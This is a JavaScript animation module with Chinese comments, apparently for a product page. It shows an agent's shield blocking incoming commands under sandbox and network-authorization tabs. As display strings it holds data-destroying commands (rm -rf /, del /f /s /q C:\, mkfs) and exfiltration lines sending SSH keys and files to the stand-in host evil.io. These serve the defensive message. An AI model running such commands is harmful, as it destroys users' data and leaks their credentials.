/* 沙箱与网络授权动画 —— 场景式 * 恶意命令从左侧抛物线射向持盾的智能体,撞击盾牌后字符炸开飞散, * 底部出现拦截说明。两个情节(沙箱/网络)手动切换。 */ /* 沙箱与网络授权动画 —— 可复用模块(主页 feature 行 / anim2-demo 页共用) * AnimSandbox.init(container):在容器内建 DOM(情节 tab + 场景 + 说明行), * 点击 tab 切换情节并从头播放,再次点击重播。 */ window.AnimSandbox = (function () { 'use strict'; function init(container) { container.innerHTML = '
' + '
' + '' + '' + '
' + '
' + '
' + '' + '' + '
' + '' + '
' + '
' + '
'; var stage = container.querySelector('.anim2-stage'); var defender = container.querySelector('.defender'); var shield = container.querySelector('.defender-shield'); var ring = container.querySelector('.impact-ring'); var caption = container.querySelector('.anim2-caption'); var tabs = Array.prototype.slice.call(container.querySelectorAll('.anim2-tab')); // 挂载六边形眼睛(眨眼 + 追踪) if (window.AstrionAvatar) { AstrionAvatar.mount(container.querySelector('.defender-avatar'), { mode: 'idle', blink: true, track: true }); } var gen = 0; function sleep(ms) { return new Promise(function (r) { setTimeout(r, ms); }); } async function step(ms, myGen) { await sleep(ms); if (myGen !== gen) throw new Error('cancelled'); } function el(tag, cls, text) { var e = document.createElement(tag); if (cls) e.className = cls; if (text != null) e.textContent = text; return e; } /** rAF 逐帧,返回 false 停止。gen 变了自动停。 */ function eachFrame(fn, myGen) { return new Promise(function (resolve) { var last = performance.now(); function tick(now) { if (myGen !== gen) { resolve(); return; } var dt = Math.min((now - last) / 1000, 0.05); last = now; if (fn(dt) === false) { resolve(); return; } requestAnimationFrame(tick); } requestAnimationFrame(tick); }); } function stageRect() { return stage.getBoundingClientRect(); } /** 盾牌中心(stage 相对坐标) */ function shieldCenter() { var sr = stageRect(); var r = shield.getBoundingClientRect(); return { x: r.left - sr.left + r.width / 2, y: r.top - sr.top + r.height / 2, left: r.left - sr.left }; } /* ── 单个命令:出场摆角 → 蓄力后拉 → 松手发射(角度全程跟随轨迹切线) ── */ async function fire(cmd, opts, myGen) { var block = el('div', 'cmd-projectile', cmd); stage.appendChild(block); var w = block.offsetWidth; var h = block.offsetHeight; var offsets = measureChars(block); // 未旋转时测,供碎裂时对齐 var G = opts.g || 620; // 每条命令重力不同 → 弧线形状不同 var shieldC = shieldCenter(); shieldC.y += opts.aim || 0; var start = { x: 14, y: opts.startY }; var vx = opts.vx; // 先以出场位粗解发射角 → 定蓄力后拉方向 var Tc0 = (shieldC.x - (start.x + w / 2)) / vx; var vyEst = ((shieldC.y - (start.y + h / 2)) - 0.5 * G * Tc0 * Tc0) / Tc0; var rad0 = Math.atan2(vyEst, vx); var pullDist = 22; var pullX = start.x - Math.cos(rad0) * pullDist; var pullY = start.y - Math.sin(rad0) * pullDist; // 轨迹起点 = 蓄力位 var ox = pullX; var oy = pullY; var ocx = ox + w / 2; var ocy = oy + h / 2; // 最右字符在块内(未旋转)相对块中心的偏移 var lxLast, lyLast; if (offsets && offsets.length) { var lo = offsets[offsets.length - 1]; lxLast = lo.x + lo.w / 2 - w / 2; lyLast = lo.y + lo.h / 2 - h / 2; } else { lxLast = w / 2; lyLast = 0; } // 求解 vy0:让最右字符(不是块中心)精确扫过盾心。 // 块在飞行中旋转,字符轨迹会偏离中心轨迹,所以迭代补偿瞄准点。 var Tc = (shieldC.x - ocx) / vx; var aimY = shieldC.y; var vy0 = 0; var hit = null; for (var iter = 0; iter < 3; iter++) { vy0 = ((aimY - ocy) - 0.5 * G * Tc * Tc) / Tc; var best = { d: 1e9, t: Tc, ang: 0, py: 0 }; for (var t = 0.004; t < 6; t += 0.004) { var rr = Math.atan2(vy0 + G * t, vx); var cosR = Math.cos(rr); var sinR = Math.sin(rr); var ccx = ocx + vx * t; var ccy = ocy + vy0 * t + 0.5 * G * t * t; // 最右字符的舞台位置 = 块中心 + 块内偏移绕中心旋转 var fx = ccx + lxLast * cosR - lyLast * sinR; var fy = ccy + lxLast * sinR + lyLast * cosR; var ddx = fx - shieldC.x; var ddy = fy - shieldC.y; var dd = Math.sqrt(ddx * ddx + ddy * ddy); if (dd < best.d) best = { d: dd, t: t, ang: rr * 57.3, py: fy }; if (fx > shieldC.x + 80) break; // 已飞过盾牌 } hit = { t: best.t, ang: best.ang }; if (best.d <= 4) break; aimY += shieldC.y - best.py; // 垂直方向补偿落点偏差 } var angle0 = Math.atan2(vy0, vx) * 57.3; // 发射仰角(负值 = 朝上) // 出场:直接在起点摆好仰角 block.style.transform = 'translate(' + start.x + 'px,' + start.y + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; await step(240, myGen); // 蓄力:沿发射反方向后拉,像拉满的弹弓(方向随每条命令的弹道而不同) block.style.transition = 'transform 0.45s cubic-bezier(.6,-0.15,.7,.3)'; block.style.transform = 'translate(' + pullX + 'px,' + pullY + 'px) rotate(' + angle0.toFixed(1) + 'deg)'; await step(460, myGen); block.style.transition = 'none'; // 逐帧渲染:每帧位置由解析式直接算出(不是积分模拟),到预计算的撞击时刻碎裂 var elapsed = 0; await eachFrame(function (dt) { elapsed += dt; if (elapsed >= hit.t) return false; var px = ox + vx * elapsed; var py = oy + vy0 * elapsed + 0.5 * G * elapsed * elapsed; var ang = Math.atan2(vy0 + G * elapsed, vx) * 57.3; block.style.transform = 'translate(' + px.toFixed(1) + 'px,' + py.toFixed(1) + 'px) rotate(' + ang.toFixed(1) + 'deg)'; return true; }, myGen); if (myGen !== gen) throw new Error('cancelled'); // 定格在预计算的撞击位形上碎裂:最右字符正好到达盾心 var hitX = ox + vx * hit.t; var hitY = oy + vy0 * hit.t + 0.5 * G * hit.t * hit.t; block.style.transform = 'translate(' + hitX.toFixed(1) + 'px,' + hitY.toFixed(1) + 'px) rotate(' + hit.ang.toFixed(1) + 'deg)'; impactFX(); shatter(block, hitX, hitY, hit.ang, w, h, offsets); } /* ── 两个情节 ── */ // 场景切换时 fire 的取消错误就地吞掉,避免 unhandled rejection 污染控制台 function swallowCancel(e) { if (e && e.message !== 'cancelled') throw e; } async function playSandbox(myGen) { // 三条命令方向/速度/弧度各异:基准中弧线、Windows 快平直弹、慢速高抛 var cmds = [ { cmd: 'rm -rf /', startY: 118, vx: 250, g: 620, aim: 0 }, { cmd: 'del /f /s /q C:\\', startY: 84, vx: 420, g: 760, aim: -6 }, { cmd: 'mkfs /dev/sda1', startY: 152, vx: 200, g: 430, aim: 10 } ]; var jobs = []; for (var i = 0; i < cmds.length; i++) { jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel)); await step(780, myGen); // 错落间隔:前一个刚出手,下一个开始蓄力 } await Promise.all(jobs); await step(320, myGen); showCaption('你的文件没有被改动'); } async function playNetwork(myGen) { // 三条命令方向/速度/弧度各异;Unix 与 Windows 路径都有 var cmds = [ { cmd: 'curl -T 数据.zip evil.io', startY: 92, vx: 320, g: 700, aim: -6 }, { cmd: 'scp ~/.ssh/id_rsa evil.io', startY: 122, vx: 240, g: 560, aim: 2 }, { cmd: 'curl -T C:\\pw.xlsx evil.io', startY: 152, vx: 190, g: 460, aim: 10 } ]; var jobs = []; for (var i = 0; i < cmds.length; i++) { jobs.push(fire(cmds[i].cmd, cmds[i], myGen).catch(swallowCancel)); await step(880, myGen); } await Promise.all(jobs); await step(320, myGen); showCaption('数据没有离开这台机器'); } /* ── 撞击:碎裂字符粒子 + 冲击环 + 防御者后坐 ── */ /** 测量每个字符相对块左上角的精确偏移(未旋转时测,Range 天然处理中文宽度) */ function measureChars(block) { var tn = block.firstChild; if (!tn || tn.nodeType !== 3) return null; var br = block.getBoundingClientRect(); var range = document.createRange(); var offsets = []; for (var i = 0; i < tn.length; i++) { range.setStart(tn, i); range.setEnd(tn, i + 1); var r = range.getBoundingClientRect(); offsets.push({ x: r.left - br.left, y: r.top - br.top, w: r.width, h: r.height }); } range.detach(); return offsets; } function shatter(block, hitX, hitY, hitAng, w, h, offsets) { var text = block.textContent; var rad = hitAng / 57.3; var cosA = Math.cos(rad); var sinA = Math.sin(rad); var cx = hitX + w / 2; // 块的旋转中心(transform-origin = 50% 50%) var cy = hitY + h / 2; block.parentNode.removeChild(block); var shards = []; for (var i = 0; i < text.length; i++) { var ch = text[i] === ' ' ? '\u00A0' : text[i]; // 空格用 nbsp 保住宽度 var s = el('span', 'cmd-shard', ch); stage.appendChild(s); var sw = s.offsetWidth; var sh = s.offsetHeight; // 字符中心在块内(未旋转)相对块中心的偏移 var lx, ly; if (offsets && offsets[i]) { lx = offsets[i].x + offsets[i].w / 2 - w / 2; ly = offsets[i].y + offsets[i].h / 2 - h / 2; } else { lx = (i + 0.5) * (w / Math.max(text.length, 1)) - w / 2; ly = 0; } // 绕块中心旋转 hitAng → 字符在舞台上的真实位置,碎片中心对准它 var rx = cx + lx * cosA - ly * sinA; var ry = cy + lx * sinA + ly * cosA; var sx0 = rx - sw / 2; var sy0 = ry - sh / 2; var rot0 = hitAng + (Math.random() - 0.5) * 24; // 立即摆到初始位置:否则会在容器左上角以默认位置闪现一帧 s.style.transform = 'translate(' + sx0.toFixed(1) + 'px,' + sy0.toFixed(1) + 'px) rotate(' + rot0.toFixed(1) + 'deg)'; shards.push({ el: s, x: sx0, y: sy0, vx: -(60 + Math.random() * 200), // 向左回弹 vy: -(120 + Math.random() * 240), // 向上炸开 rot: rot0, // 保持撞击瞬间的角度,加少量随机散开 vr: (Math.random() - 0.5) * 900, life: 0, ttl: 0.85 + Math.random() * 0.4 }); } var g = 980; eachFrame(function (dt) { var alive = false; for (var i = 0; i < shards.length; i++) { var p = shards[i]; if (p.life >= p.ttl) continue; alive = true; p.life += dt; p.x += p.vx * dt; p.y += p.vy * dt; p.vy += g * dt; p.rot += p.vr * dt; var fade = 1 - Math.max(0, (p.life - p.ttl * 0.45) / (p.ttl * 0.55)); p.el.style.transform = 'translate(' + p.x.toFixed(1) + 'px,' + p.y.toFixed(1) + 'px) rotate(' + p.rot.toFixed(0) + 'deg)'; p.el.style.opacity = Math.max(0, fade).toFixed(2); if (p.life >= p.ttl) p.el.parentNode && p.el.parentNode.removeChild(p.el); } return alive; }, gen); // 粒子循环跟当前 gen,切换时自动停 } function impactFX() { var c = shieldCenter(); ring.style.left = c.x + 'px'; ring.style.top = c.y + 'px'; ring.classList.remove('is-active'); ring.getBoundingClientRect(); // reflow 重置动画 ring.classList.add('is-active'); defender.classList.remove('is-hit'); defender.getBoundingClientRect(); defender.classList.add('is-hit'); } function showCaption(noteText) { caption.appendChild(el('div', 'caption-note', noteText)); } /* ── 调度 ── */ var PLAYERS = { sandbox: playSandbox, network: playNetwork }; function setActiveTab(mode) { tabs.forEach(function (t) { t.classList.toggle('is-active', t.dataset.mode === mode); }); } function play(mode) { gen += 1; var myGen = gen; // 清场:飞行块、碎片、说明、冲击环 Array.prototype.slice.call(stage.querySelectorAll('.cmd-projectile, .cmd-shard')).forEach(function (n) { n.parentNode.removeChild(n); }); caption.innerHTML = ''; ring.classList.remove('is-active'); defender.classList.remove('is-hit'); setActiveTab(mode); PLAYERS[mode](myGen).catch(function (e) { if (e && e.message !== 'cancelled') throw e; }); } tabs.forEach(function (t) { t.addEventListener('click', function () { play(t.dataset.mode); }); }); play('sandbox'); } return { init: init }; })();